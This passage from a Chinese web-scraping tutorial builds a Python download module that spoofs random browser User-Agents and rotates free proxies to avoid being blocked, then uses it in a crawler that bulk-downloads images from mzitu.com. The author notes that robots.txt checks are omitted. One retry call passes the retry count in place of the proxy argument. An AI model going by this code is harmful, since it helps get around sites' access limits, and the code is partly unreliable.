class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">download</span>:</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self)</span>:</span></span><br><span class="line"></span><br><span class="line">        self.iplist = []  <span class="comment">##初始化一个list用来存放我们获取到的IP</span></span><br><span class="line">        html = requests.get(<span class="string">"http://haoip.cc/tiqu.htm"</span>)  <span class="comment">##不解释咯</span></span><br><span class="line">        iplistn = re.findall(<span class="string">r'r/&gt;(.*?)&lt;b'</span>, html.text, re.S)  <span class="comment">##表示从html.text中获取所有r/&gt;&lt;b中的内容，re.S的意思是包括匹配包括换行符，findall返回的是个list哦！</span></span><br><span class="line">        <span class="keyword">for</span> ip <span class="keyword">in</span> iplistn:</span><br><span class="line">            i = re.sub(<span class="string">'\n'</span>, <span class="string">''</span>, ip)  <span class="comment">##re.sub 是re模块替换的方法，这儿表示将\n替换为空</span></span><br><span class="line">            self.iplist.append(i.strip())  <span class="comment">##添加到我们上面初始化的list里面</span></span><br><span class="line"></span><br><span class="line">        self.user_agent_list = [</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"</span></span><br><span class="line">        ]</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">get</span><span class="params">(self, url, timeout, proxy=None, num_retries=<span class="number">6</span>)</span>:</span> <span class="comment">##给函数一个默认参数proxy为空</span></span><br><span class="line">        print(<span class="string">u'开始获取：'</span>, url)</span><br><span class="line">        UA = random.choice(self.user_agent_list) <span class="comment">##从self.user_agent_list中随机取出一个字符串</span></span><br><span class="line">        headers = &#123;<span class="string">'User-Agent'</span>: UA&#125;  <span class="comment">##构造成一个完整的User-Agent （UA代表的是上面随机取出来的字符串哦）</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> proxy == <span class="literal">None</span>: <span class="comment">##当代理为空时，不使用代理获取response（别忘了response啥哦！之前说过了！！）</span></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                <span class="keyword">return</span> requests.get(url, headers=headers, timeout=timeout)<span class="comment">##这样服务器就会以为我们是真的浏览器了</span></span><br><span class="line">            <span class="keyword">except</span>:<span class="comment">##如过上面的代码执行报错则执行下面的代码</span></span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> num_retries &gt; <span class="number">0</span>: <span class="comment">##num_retries是我们限定的重试次数</span></span><br><span class="line">                    time.sleep(<span class="number">10</span>) <span class="comment">##延迟十秒</span></span><br><span class="line">                    print(<span class="string">u'获取网页出错，10S后将获取倒数第：'</span>, num_retries, <span class="string">u'次'</span>)</span><br><span class="line">                    <span class="keyword">return</span> self.get(url, timeout, num_retries<span class="number">-1</span>)  <span class="comment">##调用自身 并将次数减1</span></span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    print(<span class="string">u'开始使用代理'</span>)</span><br><span class="line">                    time.sleep(<span class="number">10</span>)</span><br><span class="line">                    IP = <span class="string">''</span>.join(str(random.choice(self.iplist)).strip()) <span class="comment">##下面有解释哦</span></span><br><span class="line">                    proxy = &#123;<span class="string">'http'</span>: IP&#125;</span><br><span class="line">                    <span class="keyword">return</span> self.get(url, timeout, proxy,) <span class="comment">##代理不为空的时候</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">else</span>: <span class="comment">##当代理不为空</span></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                IP = <span class="string">''</span>.join(str(random.choice(self.iplist)).strip()) <span class="comment">##将从self.iplist中获取的字符串处理成我们需要的格式（处理了些什么自己看哦，这是基础呢）</span></span><br><span class="line">                proxy = &#123;<span class="string">'http'</span>: IP&#125; <span class="comment">##构造成一个代理</span></span><br><span class="line">                <span class="keyword">return</span> requests.get(url, headers=headers, proxies=proxy, timeout=timeout) <span class="comment">##使用代理获取response</span></span><br><span class="line">            <span class="keyword">except</span>:</span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> num_retries &gt; <span class="number">0</span>:</span><br><span class="line">                    time.sleep(<span class="number">10</span>)</span><br><span class="line">                    IP = <span class="string">''</span>.join(str(random.choice(self.iplist)).strip())</span><br><span class="line">                    proxy = &#123;<span class="string">'http'</span>: IP&#125;</span><br><span class="line">                    print(<span class="string">u'正在更换代理，10S后将重新获取倒数第'</span>, num_retries, <span class="string">u'次'</span>)</span><br><span class="line">                    print(<span class="string">u'当前代理是：'</span>, proxy)</span><br><span class="line">                    <span class="keyword">return</span> self.get(url, timeout, proxy, num_retries - <span class="number">1</span>)</span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    print(<span class="string">u'代理也不好使了！取消代理'</span>)</span><br><span class="line">                    <span class="keyword">return</span> self.get(url, <span class="number">3</span>)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p><a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021224219.gif" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021224219.gif" alt="QQ图片20161021224219"></a> 收工一个较为健壮的下载模块搞定（当然一个健壮的模块还应该有其它的内容，比如判断地址是否是robots.txt文件禁止获取的；错误状态判断是否是服务器出错，限制爬虫深度防止掉入爬虫陷进之类的····） 不过我怕太多大家消化不了，而且我们一般遇到的网站基本不会碰到爬虫陷阱（有也不怕啊，反正规模不大，自己也就注意到了。） 下面我们来把这个下载模块使用到我们上一篇博文的爬出红里面去！ 用法很简单！ヾ(<em>´▽‘</em>)ﾉ将这个py文件放在和上一篇博文爬虫相同的文件夹里面；并新建一个<strong>init</strong>.py的文件。像这样： <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161030144544-e1477920240854.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ截图20161030144544-e1477920240854.png" alt=""></a> 在爬虫里面导入下载模块即可，class继承一下下载模块；然后替换掉上一篇爬虫里面的全部requests.get，为download.get即可！还必须加上timeout参数哦！废话不多说直接上代码：</p>
                  <figure class="highlight python">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> Download <span class="keyword">import</span> download</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">mzitu</span><span class="params">(download)</span>:</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">all_url</span><span class="params">(self, url)</span>:</span></span><br><span class="line">        html = download.get(self, url, <span class="number">3</span>) <span class="comment">##这儿替换了，并加上timeout参数</span></span><br><span class="line">        all_a = BeautifulSoup(html.text, <span class="string">'lxml'</span>).find(<span class="string">'div'</span>, class_=<span class="string">'all'</span>).find_all(<span class="string">'a'</span>)</span><br><span class="line">        <span class="keyword">for</span> a <span class="keyword">in</span> all_a:</span><br><span class="line">            title = a.get_text()</span><br><span class="line">            print(<span class="string">u'开始保存：'</span>, title)</span><br><span class="line">            path = str(title).replace(<span class="string">"?"</span>, <span class="string">'_'</span>)</span><br><span class="line">            self.mkdir(path)</span><br><span class="line">            os.chdir(<span class="string">"D:\mzitu\\"</span>+path)</span><br><span class="line">            href = a[<span class="string">'href'</span>]</span><br><span class="line">            self.html(href)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">html</span><span class="params">(self, href)</span>:</span></span><br><span class="line">        html = download.get(self, href, <span class="number">3</span>)</span><br><span class="line">        max_span = BeautifulSoup(html.text, <span class="string">'lxml'</span>).find_all(<span class="string">'span'</span>)[<span class="number">10</span>].get_text()</span><br><span class="line">        <span class="keyword">for</span> page <span class="keyword">in</span> range(<span class="number">1</span>, int(max_span) + <span class="number">1</span>):</span><br><span class="line">            page_url = href + <span class="string">'/'</span> + str(page)</span><br><span class="line">            self.img(page_url)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">img</span><span class="params">(self, page_url)</span>:</span></span><br><span class="line">        img_html = download.get(self, page_url, <span class="number">3</span>) <span class="comment">##这儿替换了</span></span><br><span class="line">        img_url = BeautifulSoup(img_html.text, <span class="string">'lxml'</span>).find(<span class="string">'div'</span>, class_=<span class="string">'main-image'</span>).find(<span class="string">'img'</span>)[<span class="string">'src'</span>]</span><br><span class="line">        self.save(img_url)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">save</span><span class="params">(self, img_url)</span>:</span></span><br><span class="line">        name = img_url[<span class="number">-9</span>:<span class="number">-4</span>]</span><br><span class="line">        print(<span class="string">u'开始保存：'</span>, img_url)</span><br><span class="line">        img = download.get(self, img_url, <span class="number">3</span>) <span class="comment">##这儿替换了，并加上timeout参数</span></span><br><span class="line">        f = open(name + <span class="string">'.jpg'</span>, <span class="string">'ab'</span>)</span><br><span class="line">        f.write(img.content)</span><br><span class="line">        f.close()</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">mkdir</span><span class="params">(self, path)</span>:</span> <span class="comment">##这个函数创建文件夹</span></span><br><span class="line">        path = path.strip()</span><br><span class="line">        isExists = os.path.exists(os.path.join(<span class="string">"D:\mzitu"</span>, path))</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> isExists:</span><br><span class="line">            print(<span class="string">u'建了一个名字叫做'</span>, path, <span class="string">u'的文件夹！'</span>)</span><br><span class="line">            os.makedirs(os.path.join(<span class="string">"D:\mzitu"</span>, path))</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            print(<span class="string">u'名字叫做'</span>, path, <span class="string">u'的文件夹已经存在了！'</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">Mzitu = mzitu() <span class="comment">##实例化</span></span><br><span class="line">Mzitu.all_url(<span class="string">'http://www.mzitu.com/all'</span>) <span class="comment">##给函数all_url传入参数  你可以当作启动爬虫（就是入口）</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>好了！搞完收工！大家可以看一下和上一次我们写的爬虫有哪些变化就知道我们做了什么啦！ <strong>2016/11/4 更新：</strong>今天做教程的时候发现我忽略了一个问题，上面的写法，属于子类继承父类，这种写法 子类没法用<strong>init</strong>;所以我改了一下写法，（其余都没变，不用担心。）直接贴代码了： 首先是下载模块（Download.py）:</p>
                  <figure class="highlight python">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">download</span><span class="params">()</span>:</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self)</span>:</span></span><br><span class="line"></span><br><span class="line">        self.iplist = []  <span class="comment">##初始化一个list用来存放我们获取到的IP</span></span><br><span class="line">        html = requests.get(<span class="string">"http://haoip.cc/tiqu.htm"</span>)  <span class="comment">##不解释咯</span></span><br><span class="line">        iplistn = re.findall(<span class="string">r'r/&gt;(.*?)&lt;b'</span>, html.text, re.S)  <span class="comment">##表示从html.text中获取所有r/&gt;&lt;b中的内容，re.S的意思是包括匹配包括换行符，findall返回的是个list哦！</span></span><br><span class="line">        <span class="keyword">for</span> ip <span class="keyword">in</span> iplistn:</span><br><span class="line">            i = re.sub(<span class="string">'\n'</span>, <span class="string">''</span>, ip)  <span class="comment">##re.sub 是re模块替换的方法，这儿表示将\n替换为空</span></span><br><span class="line">            self.iplist.append(i.strip())  <span class="comment">##添加到我们上面初始化的list里面</span></span><br><span class="line"></span><br><span class="line">        self.user_agent_list = [</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"</span>,</span><br><span class="line">            <span class="string">"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"</span></span><br><span class="line">        ]</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">get</span><span class="params">(self, url, timeout, proxy=None, num_retries=<span class="number">6</span>)</span>:</span> <span class="comment">##给函数一个默认参数proxy为空</span></span><br><span class="line">        UA = random.choice(self.user_agent_list) <span class="comment">##从self.user_agent_list中随机取出一个字符串</span></span><br><span class="line">        headers = &#123;<span class="string">'User-Agent'</span>: UA&#125;  <span class="comment">##构造成一个完整的User-Agent （UA代表的是上面随机取出来的字符串哦）</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> proxy == <span class="literal">None</span>: <span class="comment">##当代理为空时，不使用代理获取response（别忘了response啥哦！之前说过了！！）</span></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                <span class="keyword">return</span> requests.get(url, headers=headers, timeout=timeout)<span class="comment">##这样服务器就会以为我们是真的浏览器了</span></span><br><span class="line">            <span class="keyword">except</span>:<span class="comment">##如过上面的代码执行报错则执行下面的代码</span></span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> num_retries &gt; <span class="number">0</span>: <span class="comment">##num_retries是我们限定的重试次数</span></span><br><span class="line">                    time.sleep(<span class="number">10</span>) <span class="comment">##延迟十秒</span></span><br><span class="line">                    print(<span class="string">u'获取网页出错，10S后将获取倒数第：'</span>, num_retries, <span class="string">u'次'</span>)</span><br><span class="line">                    <span class="keyword">return</span> self.get(url, timeout, num_retries<span class="number">-1</span>)  <span class="comment">##调用自身 并将次数减1</span></span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    print(<span class="string">u'开始使用代理'</span>)</span><br><span class="line">                    time.sleep(<span class="number">10</span>)</span><br><span class="line">                    IP = <span class="string">''</span>.join(str(random.choice(self.iplist)).strip()) <span class="comment">##下面有解释哦</span></span><br><span class="line">                    proxy = &#123;<span class="string">'http'</span>: IP&#125;</span><br><span class="line">                    <span class="keyword">return</span> self.get(url, timeout, proxy,) <span class="comment">##代理不为空的时候</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">else</span>: <span class="comment">##当代理不为空</span></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                IP = <span class="string">''</span>.join(str(random.choice(self.iplist)).strip()) <span class="comment">##将从self.iplist中获取的字符串处理成我们需要的格式（处理了些什么自己看哦，这是基础呢）</span></span><br><span class="line">                proxy = &#123;<span class="string">'http'</span>: IP&#125; <span class="comment">##构造成一个代理</span></span><br><span class="line">                <span class="keyword">return</span> requests.get(url, headers=headers, proxies=proxy, timeout=timeout) <span class="comment">##使用代理获取response</span></span><br><span class="line">            <span class="keyword">except</span>:</span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> num_retries &gt; <span class="number">0</span>:</span><br><span class="line">                    time.sleep(<span class="number">10</span>)</span><br><span class="line">                    IP = <span class="string">''</span>.join(str(random.choice(self.iplist)).strip())</span><br><span class="line">                    proxy = &#123;<span class="string">'http'</span>: IP&#125;</span><br><span class="line">                    print(<span class="string">u'正在更换代理，10S后将重新获取倒数第'</span>, num_retries, <span class="string">u'次'</span>)</span><br><span class="line">                    print(<span class="string">u'当前代理是：'</span>, proxy)</span><br><span class="line">                    <span class="keyword">return</span> self.get(url, timeout, proxy, num_retries - <span class="number">1</span>)</span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    print(<span class="string">u'代理也不好使了！取消代理'</span>)</span><br><span class="line">                    <span class="keyword">return</span> self.get(url, <span class="number">3</span>)</span><br><span class="line"></span><br><span class="line">request = download()  <span class="comment">##</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这个模块就多了 request = download() 第二个（def mzitu.py）:</p>
                  <figure class="highlight python">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> Download <span class="keyword">import</span> request <span class="comment">##导入模块变了一下</span></span><br><span class="line"><span class="keyword">from</span> pymongo <span class="keyword">import</span> MongoClient</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">mzitu</span><span class="params">()</span>:</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">all_url</span><span class="params">(self, url)</span>:</span></span><br><span class="line"></span><br><span class="line">        html = request.get(url, <span class="number">3</span>) <span class="comment">##这儿更改了一下（是不是发现  self 没见了？）</span></span><br><span class="line">        all_a = BeautifulSoup(html.text, <span class="string">'lxml'</span>).find(<span class="string">'div'</span>, class_=<span class="string">'all'</span>).find_all(<span class="string">'a'</span>)</span><br><span class="line">        <span class="keyword">for</span> a <span class="keyword">in</span> all_a:</span><br><span class="line">            title = a.get_text()</span><br><span class="line">            print(<span class="string">u'开始保存：'</span>, title)</span><br><span class="line">            path = str(title).replace(<span class="string">"?"</span>, <span class="string">'_'</span>)</span><br><span class="line">            self.mkdir(path)</span><br><span class="line">            os.chdir(<span class="string">"D:\mzitu\\"</span>+path)</span><br><span class="line">            href = a[<span class="string">'href'</span>]</span><br><span class="line">            self.html(href)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">html</span><span class="params">(self, href)</span>:</span></span><br><span class="line">        html = request.get(href, <span class="number">3</span>)<span class="comment">##这儿更改了一下（是不是发现  self 没见了？）</span></span><br><span class="line">        max_span = BeautifulSoup(html.text, <span class="string">'lxml'</span>).find_all(<span class="string">'span'</span>)[<span class="number">10</span>].get_text()</span><br><span class="line">        <span class="keyword">for</span> page <span class="keyword">in</span> range(<span class="number">1</span>, int(max_span) + <span class="number">1</span>):</span><br><span class="line">            page_url = href + <span class="string">'/'</span> + str(page)</span><br><span class="line">            self.img(page_url)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">img</span><span class="params">(self, page_url)</span>:</span></span><br><span class="line">        img_html = request.get(page_url, <span class="number">3</span>) <span class="comment">##这儿更改了一下（是不是发现  self 没见了？）</span></span><br><span class="line">        img_url = BeautifulSoup(img_html.text, <span class="string">'lxml'</span>).find(<span class="string">'div'</span>, class_=<span class="string">'main-image'</span>).find(<span class="string">'img'</span>)[<span class="string">'src'</span>]</span><br><span class="line">        self.save(img_url)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">save</span><span class="params">(self, img_url)</span>:</span></span><br><span class="line">        name = img_url[<span class="number">-9</span>:<span class="number">-4</span>]</span><br><span class="line">        print(<span class="string">u'开始保存：'</span>, img_url)</span><br><span class="line">        img = request.get(img_url, <span class="number">3</span>) 